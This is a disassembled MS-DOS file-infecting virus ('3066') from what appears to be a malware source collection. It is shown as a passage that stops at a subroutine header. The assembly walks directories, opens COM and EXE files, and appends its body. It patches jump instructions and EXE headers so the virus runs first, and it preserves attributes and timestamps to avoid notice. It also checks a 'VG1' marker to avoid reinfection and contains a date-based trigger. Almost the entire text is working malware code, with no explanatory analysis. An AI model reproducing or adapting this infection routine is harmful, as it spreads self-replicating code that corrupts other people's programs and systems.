MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.3066.asm
2021-01-12 17:29:01 -06:00

1492 lines
40 KiB
NASM

PAGE 59,132
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ ÛÛ
;ÛÛ 3066 ÛÛ
;ÛÛ ÛÛ
;ÛÛ Created: 19-Mar-89 ÛÛ
;ÛÛ Version: ÛÛ
;ÛÛ Passes: 5 Analysis Options on: QRS ÛÛ
;ÛÛ ÛÛ
;ÛÛ ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
.286c
data_1e equ 24h ; (0000:0024=45h)
data_2e equ 26h ; (0000:0026=3D1h)
data_3e equ 70h ; (0000:0070=0FF53h)
data_4e equ 72h ; (0000:0072=0F000h)
data_5e equ 80h ; (0000:0080=1094h)
data_6e equ 82h ; (0000:0082=123h)
data_7e equ 84h ; (0000:0084=109Eh)
data_8e equ 86h ; (0000:0086=123h)
data_9e equ 90h ; (0000:0090=156h)
data_10e equ 92h ; (0000:0092=44Bh)
data_11e equ 9Ch ; (0000:009C=0BCh)
data_13e equ 0B3h ; (0000:00B3=1)
data_14e equ 0C8h ; (0000:00C8=0DAh)
data_15e equ 0D1h ; (0000:00D1=10h)
data_16e equ 0DFh ; (0000:00DF=1)
data_17e equ 0E3h ; (0000:00E3=1)
data_18e equ 0EAh ; (0000:00EA=123h)
data_19e equ 0ECh ; (0000:00EC=10DAh)
data_20e equ 0EEh ; (0000:00EE=23h)
data_21e equ 0F1h ; (0000:00F1=10h)
data_22e equ 151h ; (0000:0151=0EAh)
data_23e equ 153h ; (0000:0153=0A6F0h)
data_24e equ 155h ; (0000:0155=0EAh)
data_25e equ 449h ; (0000:0449=3)
data_26e equ 972h ; (0000:0972=74h)
data_27e equ 80h ; (00AE:0080=0FFh)
data_28e equ 0A0h ; (5E5F:00A0=0FFh)
data_29e equ 0F00h ; (5E5F:0F00=0FFh)
data_30e equ 0FA0h ; (5E5F:0FA0=0FFh)
data_31e equ 0FF60h ; (5E5F:FF60=0FFFFh)
data_32e equ 0E0h ; (683D:00E0=0FFFFh)
data_33e equ 0 ; (6FB8:0000=0)
data_34e equ 4 ; (6FB8:0004=0)
data_35e equ 5 ; (6FB8:0005=0)
data_36e equ 87h ; (6FB8:0087=0)
data_37e equ 0A0h ; (6FB8:00A0=0)
data_38e equ 0DFh ; (6FB8:00DF=0)
data_39e equ 0E0h ; (6FB8:00E0=0)
data_40e equ 0E2h ; (6FB8:00E2=0)
data_41e equ 0E3h ; (6FB8:00E3=0)
data_42e equ 0E4h ; (6FB8:00E4=0)
data_43e equ 0E6h ; (6FB8:00E6=0)
data_44e equ 0E8h ; (6FB8:00E8=0)
data_45e equ 0EAh ; (6FB8:00EA=0)
data_46e equ 0ECh ; (6FB8:00EC=0)
data_47e equ 0EEh ; (6FB8:00EE=0)
data_48e equ 0EFh ; (6FB8:00EF=0)
data_49e equ 0F1h ; (6FB8:00F1=0)
data_50e equ 0F3h ; (6FB8:00F3=0)
data_51e equ 0F5h ; (6FB8:00F5=0)
data_93e equ 100h ; (7188:0100=0)
data_94e equ 0E2h ; (969B:00E2=0)
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
3066 proc far
start:
jmp loc_5 ; (0243)
db 01h,0B4h
data_54 dw 0CD09h ; Data table (indexed access)
; xref 6FB8:0ADC, 0B5E, 0BA4, 0C67
; 0C7B, 0CCB, 0CD4
db 21h,0B8h, 00h, 4Ch,0CDh, 21h
db 'This program only exists to beco'
db 'me infected - COM version', 0Dh, 0Ah
db '$'
db 8Dh, 16h, 0Dh,0FFh,0FFh, 00h
db 01h, 8Ch
data_56 dw 4D10h ; Data table (indexed access)
; xref 6FB8:0270, 02DC, 046C
data_57 dw 6FB8h ; Data table (indexed access)
; xref 6FB8:0276, 02E0, 0470
data_58 db 0 ; Data table (indexed access)
; xref 6FB8:0387, 03C8, 0608, 06A4
db 8Dh, 16h, 0Dh,0FFh,0FFh, 09h
db 0CDh, 21h,0B8h, 00h, 4Ch,0CDh
db '!This program on', 0Dh, 0Ah, '$'
db 27 dup (0)
db 50h, 4Ch, 49h, 43h
db 60 dup (0)
db 01h, 3Fh
db 7 dup (3Fh)
db 43h, 4Fh, 4Dh, 20h, 00h
db 7 dup (0)
db 20h, 96h, 66h,0D7h, 12h, 4Ch
db 00h, 00h, 00h
db 'TSTJ3066.COM'
db 00h, 00h, 01h, 3Fh
db 10 dup (3Fh)
db 10h, 05h
db 7 dup (0)
db 20h,0E9h, 11h,0B5h, 12h,0F6h
db 48h, 02h, 00h
db 'CAT-TWO.ARC'
db 00h, 00h, 00h, 00h,0BCh, 0Eh
db 00h, 00h, 20h, 00h, 72h, 49h
db 73h, 12h,0EBh, 04h,0DDh, 0Ch
db 00h, 00h, 00h, 51h, 59h, 8Bh
db 0Fh, 20h, 00h
db 56h, 47h, 31h
loc_5: ; xref 6FB8:0100
jmp short loc_6 ; (0247)
db 0F5h, 0Bh
loc_6: ; xref 6FB8:0243
call sub_17 ; (08BB)
call sub_15 ; (0875)
mov ah,19h
int 21h ; DOS Services ah=function 19h
; get default drive al (0=a:)
mov ds:data_22e[si],si ; (0000:0151=0EAh)
add word ptr ds:data_22e[si],884h ; (0000:0151=0EAh)
mov ds:data_23e[si],cs ; (0000:0153=0A6F0h)
mov ds:data_17e[si],al ; (0000:00E3=1)
call sub_10 ; (076E)
mov dl,ds:data_94e[di] ; (969B:00E2=0)
mov ax,ds
push cs
pop ds
jnz loc_8 ; Jump if not zero
mov data_56[si],984h ; (6FB8:0151=4D10h)
mov data_57[si],ax ; (6FB8:0153=6FB8h)
cmp dl,0FFh
je loc_8 ; Jump if equal
mov ah,0Eh
int 21h ; DOS Services ah=function 0Eh
; set default drive dl (0=a:)
loc_8: ; xref 6FB8:026E, 027D
mov byte ptr ds:[872h][si],80h ; (6FB8:0872=0FFh)
mov word ptr ds:data_48e[si],0 ; (6FB8:00EF=0)
mov ah,2Ah ; '*'
int 21h ; DOS Services ah=function 2Ah
; get date, cx=year, dx=mon/day
cmp cx,7C4h
jge loc_9 ; Jump if > or =
jmp short loc_12 ; (02C2)
db 0BDh, 09h,0BCh, 0Eh, 00h
loc_9: ; xref 6FB8:0296
jg loc_10 ; Jump if >
cmp dh,0Ch
jl loc_12 ; Jump if <
cmp dl,5
jl loc_12 ; Jump if <
cmp dl,1Ch
jl loc_11 ; Jump if <
loc_10: ; xref 6FB8:029F
mov word ptr ds:[877h][si],0FFDCh ; (6FB8:0877=8EC0h)
mov byte ptr ds:[872h][si],88h ; (6FB8:0872=0FFh)
loc_11: ; xref 6FB8:02AE
cmp byte ptr [si+4],0F8h
nop ;*ASM fixup - displacement
jae loc_13 ; Jump if above or =
loc_12: ; xref 6FB8:0298, 02A4, 02A9, 0356
mov byte ptr cs:data_47e[si],0 ; (6FB8:00EE=0)
jmp loc_30 ; (0460)
cmp byte ptr [si+4],0F8h
nop ;*ASM fixup - displacement
jae loc_13 ; Jump if above or =
or byte ptr ds:[872h][si],4 ; (6FB8:0872=0FFh)
loc_13: ; xref 6FB8:02C0, 02D0
mov byte ptr ds:data_38e[si],0 ; (6FB8:00DF=0)
mov dx,data_56[si] ; (6FB8:0151=4D10h)
mov ds,data_57[si] ; (6FB8:0153=6FB8h)
mov ax,4300h
call sub_1 ; (0436)
jc loc_14 ; Jump if carry Set
mov cs:data_51e[si],cx ; (6FB8:00F5=0)
and cl,0FEh
mov ax,4301h
call sub_1 ; (0436)
jc loc_14 ; Jump if carry Set
mov ax,3D02h
int 21h ; DOS Services ah=function 3Dh
; open file, al=mode,name@ds:dx
jc loc_14 ; Jump if carry Set
push cs
pop ds
mov ds:data_48e[si],ax ; (6FB8:00EF=0)
mov bx,ax
mov ax,5700h
int 21h ; DOS Services ah=function 57h
; get/set file date & time
mov ds:data_49e[si],cx ; (6FB8:00F1=0)
mov ds:data_50e[si],dx ; (6FB8:00F3=0)
dec byte ptr [si+4]
nop ;*ASM fixup - displacement
mov dx,word ptr ds:[880h][si] ; (6FB8:0880=687h)
mov cx,word ptr ds:[882h][si] ; (6FB8:0882=90h)
add dx,4
nop ;*ASM fixup - sign extn byte
adc cx,0
mov ax,4200h
int 21h ; DOS Services ah=function 42h
; move file ptr, cx,dx=offset
loc_14: ; xref 6FB8:02EA, 02FA, 0301
push cs
pop ds
test byte ptr ds:[872h][si],4 ; (6FB8:0872=0FFh)
jz loc_15 ; Jump if zero
call sub_3 ; (051F)
jmp loc_30 ; (0460)
loc_15: ; xref 6FB8:0337
xor dl,dl ; Zero register
mov ah,47h ; 'G'
push si
add si,46h
int 21h ; DOS Services ah=function 47h
; get present dir,drive dl,1=a:
pop si
cmp byte ptr ds:data_47e[si],0 ; (6FB8:00EE=0)
jne loc_16 ; Jump if not equal
call sub_2 ; (0444)
jnc loc_17 ; Jump if carry=0
loc_16: ; xref 6FB8:034F
jmp loc_12 ; (02C2)
loc_17: ; xref 6FB8:0354, 0433
mov dx,si
add dx,data_36e ; (6FB8:0087=0)
mov ah,1Ah
int 21h ; DOS Services ah=function 1Ah
; set DTA to ds:dx
mov word ptr [si+5],2E2Ah
mov word ptr [si+7],4F43h
mov word ptr [si+9],4Dh
mov ah,4Eh ; 'N'
mov dx,si
add dx,5
loc_18: ; xref 6FB8:03A7
mov cx,20h
call sub_1 ; (0436)
jc loc_21 ; Jump if carry Set
mov dx,si
add dx,0A5h
mov data_58[si],0 ; (6FB8:0155=0)
call sub_4 ; (0535)
jc loc_20 ; Jump if carry Set
call sub_3 ; (051F)
loc_19: ; xref 6FB8:039C
jmp loc_29 ; (0454)
loc_20: ; xref 6FB8:038F
cmp byte ptr ds:data_20e[si],0 ; (0000:00EE=23h)
jne loc_19 ; Jump if not equal
cmp byte ptr ds:data_24e[si],0 ; (0000:0155=0EAh)
jne loc_25 ; Jump if not equal
mov ah,4Fh ; 'O'
jmp short loc_18 ; (0379)
loc_21: ; xref 6FB8:037F
mov word ptr [si+7],5845h
mov word ptr [si+9],45h
mov ah,4Eh ; 'N'
mov dx,si
add dx,5
loc_22: ; xref 6FB8:03E9
mov cx,20h
call sub_1 ; (0436)
jc loc_25 ; Jump if carry Set
mov dx,si
add dx,0A5h
mov data_58[si],0 ; (6FB8:0155=0)
call sub_4 ; (0535)
jc loc_24 ; Jump if carry Set
call sub_3 ; (051F)
loc_23: ; xref 6FB8:03DE
jmp short loc_29 ; (0454)
db 90h
loc_24: ; xref 6FB8:03D0
cmp byte ptr cs:data_47e[si],0 ; (6FB8:00EE=0)
jne loc_23 ; Jump if not equal
cmp byte ptr ds:data_24e[si],0 ; (0000:0155=0EAh)
jne loc_25 ; Jump if not equal
mov ah,4Fh ; 'O'
jmp short loc_22 ; (03BA)
loc_25: ; xref 6FB8:03A3, 03C0, 03E5
call sub_2 ; (0444)
mov dx,si
add dx,data_13e ; (0000:00B3=1)
mov ah,1Ah
int 21h ; DOS Services ah=function 1Ah
; set DTA to ds:dx
loc_26: ; xref 6FB8:0424
mov ah,4Fh ; 'O'
mov cx,10h
cmp byte ptr ds:data_16e[si],0 ; (0000:00DF=1)
jne loc_27 ; Jump if not equal
mov byte ptr ds:data_16e[si],1 ; (0000:00DF=1)
mov word ptr [si+5],2E2Ah
mov word ptr [si+7],2Ah
mov ah,4Eh ; 'N'
mov dx,si
add dx,5
loc_27: ; xref 6FB8:0402
call sub_1 ; (0436)
jc loc_29 ; Jump if carry Set
test byte ptr ds:data_14e[si],10h ; (0000:00C8=0DAh)
jz loc_26 ; Jump if zero
mov dx,si
add dx,data_15e ; (0000:00D1=10h)
mov ah,3Bh ; ';'
call sub_1 ; (0436)
jc loc_29 ; Jump if carry Set
jmp loc_17 ; (0359)
3066 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;
; Called from: 6FB8:02E7, 02F7, 037C, 03BD, 041A, 042E, 0450
; 0571, 0582, 058A
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_1 proc near
int 21h ; DOS Services ah=function 43h
; get/set file attrb, nam@ds:dx
jc loc_ret_28 ; Jump if carry Set
test byte ptr cs:data_47e[si],0FFh ; (6FB8:00EE=0)
jz loc_ret_28 ; Jump if zero
stc ; Set carry flag
loc_ret_28: ; xref 6FB8:0438, 0440
retn
sub_1 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;
; Called from: 6FB8:0351, 03EB, 0454
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_2 proc near
mov word ptr [si+5],5Ch
mov dx,si
add dx,5
mov ah,3Bh ; ';'
call sub_1 ; (0436)
retn
sub_2 endp
loc_29: ; xref 6FB8:0394, 03D5, 041D, 0431
call sub_2 ; (0444)
mov dx,si
add dx,46h
mov ah,3Bh ; ';'
int 21h ; DOS Services ah=function 3Bh
; set current dir, path @ ds:dx
loc_30: ; xref 6FB8:02C8, 033C
mov bx,ds:data_48e[si] ; (6FB8:00EF=0)
or bx,bx ; Zero ?
jz loc_32 ; Jump if zero
mov cx,ds:data_51e[si] ; (6FB8:00F5=0)
mov dx,data_56[si] ; (6FB8:0151=4D10h)
mov ds,data_57[si] ; (6FB8:0153=6FB8h)
cmp cx,20h
je loc_31 ; Jump if equal
mov ax,4301h
int 21h ; DOS Services ah=function 43h
; get/set file attrb, nam@ds:dx
loc_31: ; xref 6FB8:0477
push cs
pop ds
mov cx,ds:data_49e[si] ; (6FB8:00F1=0)
mov dx,ds:data_50e[si] ; (6FB8:00F3=0)
mov ax,5701h
int 21h ; DOS Services ah=function 57h
; get/set file date & time
mov ah,3Eh ; '>'
int 21h ; DOS Services ah=function 3Eh
; close file, bx=file handle
loc_32: ; xref 6FB8:0466
mov dl,ds:data_41e[si] ; (6FB8:00E3=0)
mov ah,0Eh
int 21h ; DOS Services ah=function 0Eh
; set default drive dl (0=a:)
call sub_16 ; (089A)
pop ax
mov ds:data_39e[si],ax ; (6FB8:00E0=0)
cmp byte ptr [si+3],0FFh
je loc_33 ; Jump if equal
add ax,10h
add [si+2],ax
pop ax
pop ds
;* jmp dword ptr cs:[si] ;*1 entry
db 0FFh, 2Ch
loc_33: ; xref 6FB8:04A5
call sub_10 ; (076E)
push cs
pop ds
mov ax,[si]
mov word ptr ds:[100h],ax ; (6FB8:0100=40E9h)
mov al,[si+2]
mov byte ptr ds:[102h],al ; (6FB8:0102=1)
jz loc_34 ; Jump if zero
mov bx,ds
add bx,1D0h
mov es,bx
mov di,si
mov dx,si
mov cx,0BFAh
call sub_20 ; (0D32)
mov cx,dx
mov si,dx
dec si
mov di,si
std ; Set direction flag
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
push ds
pop es
mov di,data_93e ; (7188:0100=0)
mov ds,bx
mov si,dx
mov cx,0BFAh
call sub_20 ; (0D32)
mov si,100h
push cs
pop ds
call sub_13 ; (07CD)
mov dx,1D0h
loc_34: ; xref 6FB8:04C2
mov di,cs
add di,dx
mov word ptr [si+5],100h
mov [si+7],di
pop ax
pop ds
mov ds,di
mov es,di
mov ss,di
xor bx,bx ; Zero register
xor cx,cx ; Zero register
xor bp,bp ; Zero register
;* jmp dword ptr cs:[si+5] ;*1 entry
db 0FFh, 6Ch, 05h
loc_35: ; xref 6FB8:0574, 0585, 058D
mov byte ptr cs:data_47e[si],0 ; (6FB8:00EE=0)
retn
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;
; Called from: 6FB8:0339, 0391, 03D2
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_3 proc near
mov bx,ds:data_48e[si] ; (6FB8:00EF=0)
or bx,bx ; Zero ?
jz loc_ret_36 ; Jump if zero
mov dx,si
add dx,data_34e ; (6FB8:0004=0)
nop ;*ASM fixup - sign extn byte
mov cx,1
mov ah,40h ; '@'
int 21h ; DOS Services ah=function 40h
; write file cx=bytes, to ds:dx
loc_ret_36: ; xref 6FB8:0525
retn
sub_3 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;
; Called from: 6FB8:038C, 03CD
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_4 proc near
push dx
mov ah,19h
int 21h ; DOS Services ah=function 19h
; get default drive al (0=a:)
add al,41h ; 'A'
mov ah,3Ah ; ':'
mov word ptr ds:[884h][si],ax ; (6FB8:0884=8489h)
mov byte ptr ds:[886h][si],5Ch ; (6FB8:0886=0EAh) '\'
push si
add si,offset ds:[887h] ; (6FB8:0887=0)
mov ah,47h ; 'G'
mov di,si
xor dl,dl ; Zero register
int 21h ; DOS Services ah=function 47h
; get present dir,drive dl,1=a:
pop si
dec di
loc_37: ; xref 6FB8:055B
inc di
mov al,[di]
or al,al ; Zero ?
jnz loc_37 ; Jump if not zero
pop bx
mov byte ptr [di],5Ch ; '\'
inc di
mov dx,bx
loc_38: ; xref 6FB8:056C
mov al,[bx]
mov [di],al
inc bx
inc di
or al,al ; Zero ?
jnz loc_38 ; Jump if not zero
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;
; Called from: 6FB8:097E
sub_5:
mov ax,4300h
call sub_1 ; (0436)
jc loc_35 ; Jump if carry Set
mov cs:data_42e[si],cx ; (6FB8:00E4=0)
and cx,0FEh
mov ax,4301h
call sub_1 ; (0436)
jc loc_35 ; Jump if carry Set
mov ax,3D02h
call sub_1 ; (0436)
jc loc_35 ; Jump if carry Set
mov bx,ax
push ds
push dx
call sub_6 ; (05BD)
pop dx
pop ds
pushf ; Push flags
mov cx,cs:data_42e[si] ; (6FB8:00E4=0)
cmp cx,20h
je loc_39 ; Jump if equal
mov ax,4301h
int 21h ; DOS Services ah=function 43h
; get/set file attrb, nam@ds:dx
loc_39: ; xref 6FB8:05A1
mov cx,cs:data_43e[si] ; (6FB8:00E6=0)
mov dx,cs:data_44e[si] ; (6FB8:00E8=0)
mov ax,5701h
int 21h ; DOS Services ah=function 57h
; get/set file date & time
mov ah,3Eh ; '>'
int 21h ; DOS Services ah=function 3Eh
; close file, bx=file handle
popf ; Pop flags
retn
sub_4 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;
; Called from: 6FB8:0593
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_6 proc near
mov ax,5700h
int 21h ; DOS Services ah=function 57h
; get/set file date & time
push cs
pop ds
mov ds:data_43e[si],cx ; (6FB8:00E6=0)
mov ds:data_44e[si],dx ; (6FB8:00E8=0)
mov dx,si
add dx,0Dh
mov di,dx
mov ah,3Fh ; '?'
mov cx,1Ch
int 21h ; DOS Services ah=function 3Fh
; read file, cx=bytes, to ds:dx
cmp word ptr [di],5A4Dh
je loc_42 ; Jump if equal
call sub_9 ; (0764)
add ax,0CF5h
jc loc_ret_40 ; Jump if carry Set
cmp byte ptr [di],0E9h
jne loc_41 ; Jump if not equal
mov dx,[di+1]
xor cx,cx ; Zero register
mov ax,4200h
int 21h ; DOS Services ah=function 42h
; move file ptr, cx,dx=offset
mov dx,di
add dx,1Ch
mov ah,3Fh ; '?'
mov cx,3
int 21h ; DOS Services ah=function 3Fh
; read file, cx=bytes, to ds:dx
call sub_7 ; (06AB)
jnc loc_41 ; Jump if carry=0
mov cs:data_58[si],1 ; (6FB8:0155=0)
loc_ret_40: ; xref 6FB8:05E6
retn
loc_41: ; xref 6FB8:05EB, 0606
call sub_9 ; (0764)
mov word ptr ds:[880h][si],ax ; (6FB8:0880=687h)
mov word ptr ds:[882h][si],dx ; (6FB8:0882=90h)
push ax
mov word ptr [di+3],0FFFFh
mov cx,5
mov ah,40h ; '@'
mov dx,di
int 21h ; DOS Services ah=function 40h
; write file cx=bytes, to ds:dx
mov dx,si
add dx,5
mov cx,0BF5h
mov ah,40h ; '@'
int 21h ; DOS Services ah=function 40h
; write file cx=bytes, to ds:dx
mov ax,4200h
xor cx,cx ; Zero register
xor dx,dx ; Zero register
int 21h ; DOS Services ah=function 42h
; move file ptr, cx,dx=offset
mov byte ptr [di],0E9h
pop ax
add ax,0F7h
mov [di+1],ax
mov dx,di
mov cx,3
mov ah,40h ; '@'
int 21h ; DOS Services ah=function 40h
; write file cx=bytes, to ds:dx
clc ; Clear carry flag
retn
loc_42: ; xref 6FB8:05DE
cmp word ptr [di+0Ch],0FFFFh
jne loc_43 ; Jump if not equal
push si
mov si,[di+14h]
mov cx,[di+16h]
mov ax,cx
mov cl,ch
xor ch,ch ; Zero register
shr cx,1 ; Shift w/zeros fill
shr cx,1 ; Shift w/zeros fill
shr cx,1 ; Shift w/zeros fill
shr cx,1 ; Shift w/zeros fill
shl ax,1 ; Shift w/zeros fill
shl ax,1 ; Shift w/zeros fill
shl ax,1 ; Shift w/zeros fill
shl ax,1 ; Shift w/zeros fill
add si,ax
adc cx,0
sub si,3
sbb cx,0
mov ax,[di+8]
call sub_8 ; (0751)
add si,ax
adc cx,dx
mov dx,si
pop si
mov ax,4200h
int 21h ; DOS Services ah=function 42h
; move file ptr, cx,dx=offset
mov dx,di
add dx,1Ch
mov ah,3Fh ; '?'
mov cx,3
int 21h ; DOS Services ah=function 3Fh
; read file, cx=bytes, to ds:dx
call sub_7 ; (06AB)
jnc loc_46 ; Jump if carry=0
mov cs:data_58[si],1 ; (6FB8:0155=0)
retn
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;
; Called from: 6FB8:0603, 069F
sub_7:
cmp word ptr [di+1Ch],4756h
jne loc_45 ; Jump if not equal
cmp byte ptr [di+1Eh],31h ; '1'
jne loc_45 ; Jump if not equal
loc_43: ; xref 6FB8:0657
stc ; Set carry flag
loc_ret_44: ; xref 6FB8:06E0
retn
loc_45: ; xref 6FB8:06B0, 06B6
clc ; Clear carry flag
retn
loc_46: ; xref 6FB8:06A2
call sub_9 ; (0764)
mov word ptr ds:[880h][si],ax ; (6FB8:0880=687h)
mov word ptr ds:[882h][si],dx ; (6FB8:0882=90h)
mov cx,[di+4]
shl cx,1 ; Shift w/zeros fill
xchg ch,cl
mov bp,cx
and bp,0FF00h
xor ch,ch ; Zero register
add bp,[di+6]
adc cx,0
sub bp,ax
sbb cx,dx
jc loc_ret_44 ; Jump if carry Set
push ax
push dx
push word ptr [di+18h]
mov byte ptr [di+18h],0FFh
mov cx,5
mov ah,40h ; '@'
mov dx,di
add dx,14h
int 21h ; DOS Services ah=function 40h
; write file cx=bytes, to ds:dx
pop word ptr [di+18h]
mov dx,si
add dx,5
mov cx,0BF5h
mov ah,40h ; '@'
int 21h ; DOS Services ah=function 40h
; write file cx=bytes, to ds:dx
mov ax,4200h
xor cx,cx ; Zero register
xor dx,dx ; Zero register
int 21h ; DOS Services ah=function 42h
; move file ptr, cx,dx=offset
pop word ptr [di+16h]
pop word ptr [di+14h]
add word ptr [di+14h],0FAh
adc word ptr [di+16h],0
mov ax,[di+8]
call sub_8 ; (0751)
sub [di+14h],ax
sbb [di+16h],dx
mov cl,0Ch
shl word ptr [di+16h],cl ; Shift w/zeros fill
mov ax,0BFAh
add ax,[di+2]
mov [di+2],ax
and word ptr [di+2],1FFh
mov al,ah
xor ah,ah ; Zero register
shr ax,1 ; Shift w/zeros fill
add [di+4],ax
mov dx,di
mov cx,1Ch
mov ah,40h ; '@'
int 21h ; DOS Services ah=function 40h
; write file cx=bytes, to ds:dx
clc ; Clear carry flag
retn
sub_6 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;
; Called from: 6FB8:0684, 0721
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_8 proc near
xor dx,dx ; Zero register
shl ax,1 ; Shift w/zeros fill
rcl dx,1 ; Rotate thru carry
shl ax,1 ; Shift w/zeros fill
rcl dx,1 ; Rotate thru carry
shl ax,1 ; Shift w/zeros fill
rcl dx,1 ; Rotate thru carry
shl ax,1 ; Shift w/zeros fill
rcl dx,1 ; Rotate thru carry
retn
sub_8 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;
; Called from: 6FB8:05E0, 060F, 06BC
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_9 proc near
xor dx,dx ; Zero register
xor cx,cx ; Zero register
mov ax,4202h
int 21h ; DOS Services ah=function 42h
; move file ptr, cx,dx=offset
retn
sub_9 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;
; Called from: 6FB8:0263, 04B2
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_10 proc near
xor ax,ax ; Zero register
mov ds,ax
lds di,dword ptr ds:data_11e ; (0000:009C=10BCh) Load 32 bit ptr
lds di,dword ptr [di+1] ; Load 32 bit ptr
mov ax,di
sub di,75Fh
call sub_11 ; (07AB)
jz loc_ret_47 ; Jump if zero
mov di,ax
sub di,755h
call sub_11 ; (07AB)
jz loc_ret_47 ; Jump if zero
lds di,dword ptr ds:data_27e ; (00AE:0080=4EFFh) Load 32 bit ptr
lds di,dword ptr [di+1] ; Load 32 bit ptr
mov ax,di
sub di,676h
call sub_11 ; (07AB)
jz loc_ret_47 ; Jump if zero
mov di,ax
sub di,673h
call sub_11 ; (07AB)
loc_ret_47: ; xref 6FB8:0782, 078D, 079F
retn
sub_10 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;
; Called from: 6FB8:077F, 078A, 079C, 07A7
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_11 proc near
xor dx,dx ; Zero register
cmp word ptr [di],4756h
jne loc_48 ; Jump if not equal
cmp byte ptr [di+2],31h ; '1'
je loc_49 ; Jump if equal
loc_48: ; xref 6FB8:07B1
inc dx
loc_49: ; xref 6FB8:07B7
sub di,0F7h
or dx,dx ; Zero ?
retn
sub_11 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;
; Called from: 6FB8:07DE, 07E4, 07EA, 07F0, 0864, 086A, 0870
